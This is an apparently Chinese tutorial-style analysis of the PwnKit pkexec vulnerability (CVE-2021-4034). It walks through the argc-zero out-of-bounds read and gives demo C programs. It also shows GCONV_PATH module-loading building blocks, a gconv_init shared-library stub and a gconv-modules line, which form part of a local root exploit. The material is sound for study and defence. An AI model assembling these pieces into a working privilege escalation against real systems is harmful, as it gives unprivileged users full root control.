Qualys 研究团队在 polkit 的 pkexec 中发现了一个内存损坏漏洞，该 SUID 根程序默认安装在每个主要的 Linux 发行版上。这个易于利用的漏洞允许任何非特权用户通过在其默认配置中利用此漏洞来获得易受攻击主机上的完全 root 权限。

pkexec

Polkit（以前称为 PolicyKit）是一个用于在类 Unix 操作系统中控制系统范围权限的组件。它为非特权进程与特权进程通信提供了一种有组织的方式。也可以使用 polkit 执行具有提升权限的命令，使用命令 pkexec 后跟要执行的命令（具有 root 权限）。

运行

漏洞复现

漏洞分析

变量n初始值被设置为1，循环执行的次数为参数的个数，但是若参数个数为0时，此时变量n仍然为1，并且后面执行的语句会将argv[n]的值取出则造成了数组越界。

int main(int argc,char **argv)
{
 printf("argc:%d\n",argc);
 for(int i=0;i<argc;i++)
  printf("argv[%d]:%s\n",i,argv[i]); 
 return 0;
}

将test.c编译执行，发现argv[0]为执行文件所在路径。并且参数个数也是为1，不会出现为0的情况。因此在这种情况下pkexec不会出现数组越界的情况。

#include <unistd.h>
int main()
{
 char * const args[] = {NULL};
 char * const environ[] = {NULL};
 execve("./test",args,environ);
 return 0;
}

将test2.c编译执行，使用execve函数启动test1文件，发现此时的argc为0。

那么使用execve函数调用pkexec文件就有可能会出现argc为0，造成数组越界，下图为调试pkexec时的情况，此时的argc为0,但是n为1，通过源码可以看到后续会读取argv[n]的值，因此造成了数组越界。

漏洞利用

• 若GCONV_PATH未设置，那么iconv_open会加载系统默认的模块配置的缓存文件。
• 默认的配置文件位于/usr/lib/gconv/gconv-modules
• 若GCONV_PATH被设置，则会优先加载设置路径下的配置文件。

main_g_printerr.c文件中调用了g_printerr函数，而test3.c则是我们稍后需要编译成.so的文件，尝试利用g_printerr函数执行自行编译的so库。

//main_g_printerr.c
int main()
{
 g_printerr("Hello World!\n");
 return 0;
}
//test3.c
#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>
void gconv()
{
}
void gconv_init(void *step)
{
 printf("Hello test3\n");
 exit(0);
}
//配置文件 gconv-modules
//将编码为ABCD转化为UTF-8，具体转化流程根据test3.so文件
module UTF-8// ABCD// test3 1

https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034https://bbs.pediy.com/thread-271423.htmhttps://github.com/berdav/CVE-2021-4034https://man7.org/linux/man-pages/man1/iconv.1.htmlhttps://xz.aliyun.com/t/10870#toc-0

体验靶场实操，戳“阅读原文”体验